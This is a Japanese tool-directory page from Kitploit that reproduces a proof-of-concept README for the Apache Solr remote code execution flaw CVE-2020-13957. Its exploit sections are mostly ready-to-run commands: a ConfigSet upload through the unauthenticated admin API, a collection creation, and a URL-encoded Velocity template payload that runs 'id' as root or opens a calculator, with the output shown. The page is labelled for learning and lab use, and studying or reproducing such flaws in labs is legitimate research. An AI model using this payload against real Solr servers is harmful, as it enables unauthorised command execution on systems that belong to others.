Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-13957 — Apache Solr RCE CVE-2020-13957 | Kitploit
ツール/GitHubGitHub/s-index/cve-2020-13957
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubs-index/cve-2020-13957

CVE-2020-13957

Apache Solr RCE CVE-2020-13957

リポジトリを見る
1135年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apache Solr RCE CVE-2020-13957

Docker デモ

docker-demo

Mac デモ

mac-demo

NVD CVE-2020-13957 の説明

NVD CVE-2020-13957

root@kitploit:~
Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous (which could be used for remote code execution) to be configured in a ConfigSet that's uploaded via API without authentication/authorization. The checks in place to prevent such features can be circumvented by using a combination of UPLOAD/CREATE actions.

Docker

PoC 環境のセットアップ

1. Dockerfile からイメージをビルド

root@kitploit:~
$ docker build -t cve-2020-13957 .

2. 新しいコンテナで /bin/bash を実行

root@kitploit:~
$ docker run --rm -p 8983:8983 --name cve-2020-13957 -it cve-2020-13957 /bin/bash
ツールをダウンロード

3. コンテナ内で Apache Solr Cloud を起動

root@kitploit:~
$ ./solr start -e cloud -noprompt -force

エクスプロイト

1. ConfigSet をアップロード

Apache Solr ガイド ConfigSet のアップロード

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. コレクションを作成

Apache Solr ガイド コレクションの作成

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. id コマンドを実行

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27id%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

出力

root@kitploit:~
     0  uid=0(root) gid=0(root) groups=0(root)

Mac

PoC 環境のセットアップ

1. Apache Solr をダウンロード

root@kitploit:~
$ curl -OL https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz

2. 解凍

root@kitploit:~
$ tar -xzvf solr-8.2.0.tgz

3. Apache Solr Cloud を起動

root@kitploit:~
$ solr-8.2.0/bin/solr start -e cloud -noprompt -force

エクスプロイト

1. ConfigSet をアップロード

Apache Solr ガイド ConfigSet のアップロード

root@kitploit:~
$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=myConfigSet"

2. コレクションを作成

Apache Solr ガイド コレクションの作成

root@kitploit:~
$ curl "http://localhost:8983/solr/admin/collections?action=CREATE&name=newCollection&numShards=2&replicationFactor=1&wt=xml&collection.configName=myConfigSet"

3. 電卓を開く

root@kitploit:~
$ curl "http://localhost:8983/solr/newCollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x%3d%27%27)+%23set(%24rt%3d%24x.class.forName(%27java.lang.Runtime%27))+%23set(%24chr%3d%24x.class.forName(%27java.lang.Character%27))+%23set(%24str%3d%24x.class.forName(%27java.lang.String%27))+%23set(%24ex%3d%24rt.getRuntime().exec(%27open+-a+calculator%27))+%24ex.waitFor()+%23set(%24out%3d%24ex.getInputStream())+%23foreach(%24i+in+%5b1..%24out.available()%5d)%24str.valueOf(%24chr.toChars(%24out.read()))%23end"

参考

  • https://github.com/Imanfeng/Apache-Solr-RCE#cve-2020-13957